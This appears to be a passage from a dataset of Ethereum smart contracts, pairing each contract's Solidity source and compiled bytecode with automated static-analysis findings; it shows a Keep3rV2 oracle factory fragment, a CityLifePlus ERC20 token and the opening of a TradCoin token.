}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "!pG");
governance = pendingGovernance;
}
IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
address[] internal _pairs;
mapping(address => Keep3rV2Oracle) public feeds;
function pairs() external view returns (address[] memory) {
return _pairs;
}
constructor() {
governance = msg.sender;
}
function update(address pair) external keeper returns (bool) {
return feeds[pair].update();
}
function byteCode(address pair) external pure returns (bytes memory bytecode) {
bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
}
function deploy(address pair) external returns (address feed) {
require(msg.sender == governance, "!G");
require(address(feeds[pair]) == address(0), 'PE');
bytes memory bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
bytes32 salt = keccak256(abi.encodePacked(pair));
assembly {
feed := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
if iszero(extcodesize(feed)) {
revert(0, 0)
}
}
feeds[pair] = Keep3rV2Oracle(feed);
_pairs.push(pair);
}
function work() external upkeep {
require(workable(), "!W");
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function work(address pair) external upkeep {
require(feeds[pair].update(), "!W");
}
function workForFree() external keeper {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function workForFree(address pair) external keeper {
feeds[pair].update();
}
function cache(uint size) external {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].cache(size);
}
}
function cache(address pair, uint size) external {
feeds[pair].cache(size);
}
function workable() public view returns (bool canWork) {
canWork = true;
for (uint i = 0; i < _pairs.length; i++) {
if (!feeds[_pairs[i]].updateable()) {
canWork = false;
}
}
}
function workable(address pair) public view returns (bool) {
return feeds[pair].updateable();
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window, bool sushiswap) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function sample(address pair, address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
return feeds[pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].quote(tokenIn, amountIn, tokenOut, points);
}
function quote(address pair, address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].quote(tokenIn, amountIn, tokenOut, points);
}
function current(address tokenIn, uint amountIn, address tokenOut, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].current(tokenIn, amountIn, tokenOut);
}
function current(address pair, address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].current(tokenIn, amountIn, tokenOut);
}
} | 0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063983586d911610066578063983586d914610136578063a2e620451461014e578063a75d39c214610156578063a8aa1b311461017e578063ae6ec9b7146101bd57610093565b80630a7933981461009857806317bf72c6146100c25780631f7b6d32146100d7578063252c09d7146100f7575b600080fd5b6100ab6100a636600461158b565b6101d0565b6040516100b9929190611656565b60405180910390f35b6100d56100d0366004611626565b610737565b005b61ffff80546100e4911681565b60405161ffff90911681526020016100b9565b61010a610105366004611626565b6107b1565b6040805163ffffffff90941684526001600160701b0392831660208501529116908201526060016100b9565b61013e6107ea565b60405190151581526020016100b9565b61013e610924565b61016961016436600461150d565b610994565b604080519283526020830191909152016100b9565b6101a57f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb081565b6040516001600160a01b0390911681526020016100b9565b6101696101cb366004611548565b610d5d565b6060600080856001600160a01b0316886001600160a01b0316106101f55785886101f8565b87865b5090508467ffffffffffffffff81111561022257634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561024b578160200160208202803683370190505b509250876001600160a01b0316816001600160a01b031614156104d45761ffff805460009161027d91600191166116f5565b61ffff169050600061028f86886116d6565b6102999083611718565b60408051606081018252600080825260208201819052918101829052919250905b8383101561041b5760408051606081018252600080825260208201819052918101829052908461ffff81106102ff57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006103488a8661169e565b61ffff811061036757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b9094048216948601949094529185015185519496506103d094921692916103c49161172f565b63ffffffff168f611100565b8884815181106103f057634e487b7160e01b600052603260045260246000fd5b602090810291909101015261040683600161169e565b92506104149050888461169e565b92506102ba565b60007f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb06001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561047657600080fd5b505afa15801561048a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ae91906115d8565b845163ffffffff91821694506104c8935016905082611718565b9650505050505061072c565b61ffff80546000916104e991600191166116f5565b61ffff16905060006104fb86886116d6565b6105059083611718565b60408051606081018252600080825260208201819052918101829052919250905b838310156106775760408051606081018252600080825260208201819052918101829052908461ffff811061056b57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006105b48a8661169e565b61ffff81106105d357634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292850151855194965061062c94921692916103c49161172f565b88848151811061064c57634e487b7160e01b600052603260045260246000fd5b602090810291909101015261066283600161169e565b92506106709050888461169e565b9250610526565b60007f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb06001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156106d257600080fd5b505afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a91906115d8565b845163ffffffff9182169450610724935016905082611718565b965050505050505b509550959350505050565b61ffff805460009161074b9184911661169e565b61ffff8054919250165b818110156107ac57600160008261ffff811061078157634e487b7160e01b600052603260045260246000fd5b01805463ffffffff191663ffffffff92909216919091179055806107a48161176e565b915050610755565b505050565b60008161ffff81106107c257600080fd5b015463ffffffff811691506001600160701b03600160201b8204811691600160901b90041683565b61ffff80546000918291829161080391600191166116f5565b61ffff1661ffff811061082657634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb01692630902f1ac926004818101939291829003018186803b1580156108c357600080fd5b505afa1580156108d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fb91906115d8565b845163ffffffff91821694506000935061091792501683611718565b6107081093505050505b90565b6000336001600160a01b037f000000000000000000000000ab26f32ee1e5844d0f99d23328103325e163070016146109875760405162461bcd60e51b815260206004820152600260248201526110a360f11b604482015260640160405180910390fd5b61098f61113b565b905090565b6000806000836001600160a01b0316866001600160a01b0316106109b95783866109bc565b85845b5061ffff805491925060009182916109d791600191166116f5565b61ffff1661ffff81106109fa57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b82048116602080860191909152600160901b9092041683830152620100005462010001548351635909c0d560e01b81529351949550600094919390926001600160a01b037f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb01692635909c0d5926004818101939291829003018186803b158015610aa857600080fd5b505afa158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae0919061163e565b610aea91906116d6565b610af491906116b6565b90506000620100005462010001547f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb06001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5b57600080fd5b505afa158015610b6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b93919061163e565b610b9d91906116d6565b610ba791906116b6565b905060007f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb06001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c0457600080fd5b505afa158015610c18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3c91906115d8565b63ffffffff1692505050836000015163ffffffff16811415610cce5761ffff8054600091610c6d91600291166116f5565b61ffff1661ffff8110610c9057634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b909104169082015293505b8351600090610ce39063ffffffff1683611718565b90508015610cf15780610cf4565b60015b90508a6001600160a01b0316866001600160a01b03161415610d3057610d2985602001516001600160701b031685838d611100565b9750610d4c565b610d4985604001516001600160701b031684838d611100565b97505b809650505050505050935093915050565b6000806000846001600160a01b0316876001600160a01b031610610d82578487610d85565b86855b5061ffff80549192506000918291610da091600191166116f5565b61ffff1690506000610db28783611718565b9050610dd7604080516060810182526000808252602082018190529181019190915290565b604080516060810182526000808252602082018190529181019190915260008c6001600160a01b0316876001600160a01b03161415610f27575b84841015610f2257610e2484600161169e565b905060008461ffff8110610e4857634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610ea757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b909404821694860194909452918701518751949650610f0494921692916103c49161172f565b610f0e908761169e565b955083610f1a8161176e565b945050610e11565b611034565b8484101561103457610f3a84600161169e565b905060008461ffff8110610f5e57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610fbd57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292870151875194965061101694921692916103c49161172f565b611020908761169e565b95508361102c8161176e565b945050610f27565b61103e8a876116b6565b985060007f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb06001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561109b57600080fd5b505afa1580156110af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d391906115d8565b855163ffffffff91821694506110ed935016905082611718565b9850505050505050505094509492505050565b600082620100015486866111149190611718565b61111e90856116d6565b61112891906116b6565b61113291906116b6565b95945050505050565b61ffff80546000918291829161115491600191166116f5565b61ffff1661ffff811061117757634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb01692630902f1ac926004818101939291829003018186803b15801561121457600080fd5b505afa158015611228573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124c91906115d8565b84519093506000925061126091508361172f565b90506107088163ffffffff1611156114d0576000620100005462010001547f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb06001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d757600080fd5b505afa1580156112eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130f919061163e565b61131991906116d6565b61132391906116b6565b90506000620100005462010001547f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb06001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561138a57600080fd5b505afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c2919061163e565b6113cc91906116d6565b6113d691906116b6565b6040805160608101825263ffffffff871681526001600160701b03808616602083015283169181019190915261ffff80549293509091600091908116908261141d8361174c565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff811061145a57634e487b7160e01b600052603260045260246000fd5b825191018054602084015160409094015163ffffffff90931671ffffffffffffffffffffffffffffffffffff1990911617600160201b6001600160701b03948516021771ffffffffffffffffffffffffffffffffffff16600160901b939092169290920217905550600194506109219350505050565b6000935050505090565b80356001600160a01b03811681146114f157600080fd5b919050565b80516001600160701b03811681146114f157600080fd5b600080600060608486031215611521578283fd5b61152a846114da565b92506020840135915061153f604085016114da565b90509250925092565b6000806000806080858703121561155d578081fd5b611566856114da565b93506020850135925061157b604086016114da565b9396929550929360600135925050565b600080600080600060a086880312156115a2578081fd5b6115ab866114da565b9450602086013593506115c0604087016114da565b94979396509394606081013594506080013592915050565b6000806000606084860312156115ec578283fd5b6115f5846114f6565b9250611603602085016114f6565b9150604084015163ffffffff8116811461161b578182fd5b809150509250925092565b600060208284031215611637578081fd5b5035919050565b60006020828403121561164f578081fd5b5051919050565b604080825283519082018190526000906020906060840190828701845b8281101561168f57815184529284019290840190600101611673565b50505092019290925292915050565b600082198211156116b1576116b1611789565b500190565b6000826116d157634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156116f0576116f0611789565b500290565b600061ffff8381169083168181101561171057611710611789565b039392505050565b60008282101561172a5761172a611789565b500390565b600063ffffffff8381169083168181101561171057611710611789565b600061ffff8083168181141561176457611764611789565b6001019392505050565b600060001982141561178257611782611789565b5060010190565b634e487b7160e01b600052601160045260246000fdfea264697066735822122039056c965452b2592e43896c73f4a11950bbadad965fe56f52e0fbe7eaad098264736f6c63430008030033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 1,987 |
0x1c2de9c9fd19a4de38d8bf2b98369c45ccf09048 | pragma solidity ^0.4.21;
/** ----------------------------------------------------------------------------
* 'CL+' 'CITYLIFE PLUS Token' token contract
*
* Symbol : CL+
* Name : CITYLIFE PLUS Token
* Total supply: 1,000,000,000.000000000000000
* Decimals : 18
*
*
* © 2018 City Life. All rights reserved.
* ----------------------------------------------------------------------------
*/
/**
* @title Safe maths
* @dev Prevent math errors.
*/
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
* @title ERC20Interface
* @dev ERC Token Standard #20 Interface
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
* @title ApproveAndCallFallBack
* @dev Contract function to receive approval and execute function in one call
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
* @title Owned
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic ERC20 Interface.
* @dev https://github.com/ethereum/EIPs/issues/20
*
*/
contract CityLifePlusToken is ERC20Interface, Pausable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Constructor
*/
function CityLifePlusToken() public {
symbol = "CL+";
name = "CITYLIFE PLUS Token";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
/**
* @dev Gets the balance of the specified address.
* @param tokenOwner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address tokenOwner) public constant returns (uint256 balance) {
return balances[tokenOwner];
}
/**
* @dev transfer token for a specified address
* @param to The address to transfer to.
* @param tokens The amount to be transferred.
*/
function transfer(address to, uint tokens) public whenNotPaused returns (bool success) {
require(to != address(0));
require(tokens <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param tokens The amount of tokens to be spent.
*/
function approve(address spender, uint tokens) public returns (bool success) {
/** To change the approve amount you first have to reduce the addresses´
* allowance to zero by calling `approve(_spender,0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*/
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address spender, uint addedValue) public returns (bool) {
allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address spender, uint subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][spender];
if (subtractedValue > oldValue) {
allowed[msg.sender][spender] = 0;
} else {
allowed[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param tokens uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) {
require(to != address(0));
require(tokens <= balances[from]);
require(tokens <= allowed[from][msg.sender]);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param tokenOwner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
/**
* Token owner can approve for `spender` to transferFrom(...) `tokens`
* from the token owner's account. The `spender` contract function
* `receiveApproval(...)` is then executed
*/
function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) {
require(spender != address(0));
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
/**
* @dev Don't accept ETH.
*/
function () public payable {
revert();
}
/**
* @dev Owner can transfer out any accidentally sent ERC20 tokens
*/
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner whenNotPaused returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x6060604052600436106101035763ffffffff60e060020a60003504166306fdde038114610108578063095ea7b31461019257806318160ddd146101c857806323b872dd146101ed578063313ce567146102155780633eaaf86b1461023e5780633f4ba83a146102515780635c975abb14610266578063661884631461027957806370a082311461029b57806379ba5097146102ba5780638456cb59146102cd5780638da5cb5b146102e057806395d89b411461030f578063a9059cbb14610322578063cae9ca5114610344578063d4ee1d90146103a9578063d73dd623146103bc578063dc39d06d146103de578063dd62ed3e14610400578063f2fde38b14610425575b600080fd5b341561011357600080fd5b61011b610444565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015757808201518382015260200161013f565b50505050905090810190601f1680156101845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019d57600080fd5b6101b4600160a060020a03600435166024356104e2565b604051901515815260200160405180910390f35b34156101d357600080fd5b6101db61053d565b60405190815260200160405180910390f35b34156101f857600080fd5b6101b4600160a060020a036004358116906024351660443561056f565b341561022057600080fd5b610228610709565b60405160ff909116815260200160405180910390f35b341561024957600080fd5b6101db610712565b341561025c57600080fd5b610264610718565b005b341561027157600080fd5b6101b4610797565b341561028457600080fd5b6101b4600160a060020a03600435166024356107a7565b34156102a657600080fd5b6101db600160a060020a036004351661088f565b34156102c557600080fd5b6102646108aa565b34156102d857600080fd5b610264610938565b34156102eb57600080fd5b6102f36109bc565b604051600160a060020a03909116815260200160405180910390f35b341561031a57600080fd5b61011b6109cb565b341561032d57600080fd5b6101b4600160a060020a0360043516602435610a36565b341561034f57600080fd5b6101b460048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610b4995505050505050565b34156103b457600080fd5b6102f3610cc6565b34156103c757600080fd5b6101b4600160a060020a0360043516602435610cd5565b34156103e957600080fd5b6101b4600160a060020a0360043516602435610d67565b341561040b57600080fd5b6101db600160a060020a0360043581169060243516610e11565b341561043057600080fd5b610264600160a060020a0360043516610e3c565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104da5780601f106104af576101008083540402835291602001916104da565b820191906000526020600020905b8154815290600101906020018083116104bd57829003601f168201915b505050505081565b600160a060020a0333811660008181526007602090815260408083209487168084529490915280822085905590929190600080516020610eac8339815191529085905190815260200160405180910390a35060015b92915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b60015460009060a060020a900460ff161561058957600080fd5b600160a060020a038316151561059e57600080fd5b600160a060020a0384166000908152600660205260409020548211156105c357600080fd5b600160a060020a03808516600090815260076020908152604080832033909416835292905220548211156105f657600080fd5b600160a060020a03841660009081526006602052604090205461061f908363ffffffff610e8616565b600160a060020a0380861660009081526006602090815260408083209490945560078152838220339093168252919091522054610662908363ffffffff610e8616565b600160a060020a03808616600090815260076020908152604080832033851684528252808320949094559186168152600690915220546106a8908363ffffffff610e9b16565b600160a060020a03808516600081815260066020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60045460ff1681565b60055481565b60005433600160a060020a0390811691161461073357600080fd5b60015460a060020a900460ff16151561074b57600080fd5b6001805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60015460a060020a900460ff1681565b600160a060020a0333811660009081526007602090815260408083209386168352929052908120548083111561080457600160a060020a03338116600090815260076020908152604080832093881683529290529081205561083b565b610814818463ffffffff610e8616565b600160a060020a033381166000908152600760209081526040808320938916835292905220555b600160a060020a033381166000818152600760209081526040808320948916808452949091529081902054600080516020610eac833981519152915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a039081169116146108c557600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60005433600160a060020a0390811691161461095357600080fd5b60015460a060020a900460ff161561096a57600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104da5780601f106104af576101008083540402835291602001916104da565b60015460009060a060020a900460ff1615610a5057600080fd5b600160a060020a0383161515610a6557600080fd5b600160a060020a033316600090815260066020526040902054821115610a8a57600080fd5b600160a060020a033316600090815260066020526040902054610ab3908363ffffffff610e8616565b600160a060020a033381166000908152600660205260408082209390935590851681522054610ae8908363ffffffff610e9b16565b600160a060020a0380851660008181526006602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60015460009060a060020a900460ff1615610b6357600080fd5b600160a060020a0384161515610b7857600080fd5b600160a060020a0333811660008181526007602090815260408083209489168084529490915290819020869055600080516020610eac8339815191529086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c5e578082015183820152602001610c46565b50505050905090810190601f168015610c8b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610cac57600080fd5b5af11515610cb957600080fd5b5060019695505050505050565b600154600160a060020a031681565b600160a060020a033381166000908152600760209081526040808320938616835292905290812054610d0d908363ffffffff610e9b16565b600160a060020a033381166000818152600760209081526040808320948916808452949091529081902084905591929091600080516020610eac83398151915291905190815260200160405180910390a350600192915050565b6000805433600160a060020a03908116911614610d8357600080fd5b60015460a060020a900460ff1615610d9a57600080fd5b600054600160a060020a038085169163a9059cbb91168460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610df457600080fd5b5af11515610e0157600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610e5757600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610e9557600080fd5b50900390565b8181018281101561053757600080fd008c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a165627a7a72305820b77d953ae11355c2f106b0845ef16eeed084b9d65996177fc3355ad7c1f647ca0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,988 |
0xb09ad98524780228d2df4f34aa665d9dbb9999e4 | pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0x0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title ERC20 interface
*/
contract AbstractERC20 {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 value);
function transfer(address _to, uint256 _value) public returns (bool _success);
function allowance(address owner, address spender) public constant returns (uint256 _value);
function transferFrom(address from, address to, uint256 value) public returns (bool _success);
function approve(address spender, uint256 value) public returns (bool _success);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract TradCoin is Ownable, AbstractERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
//address of distributor
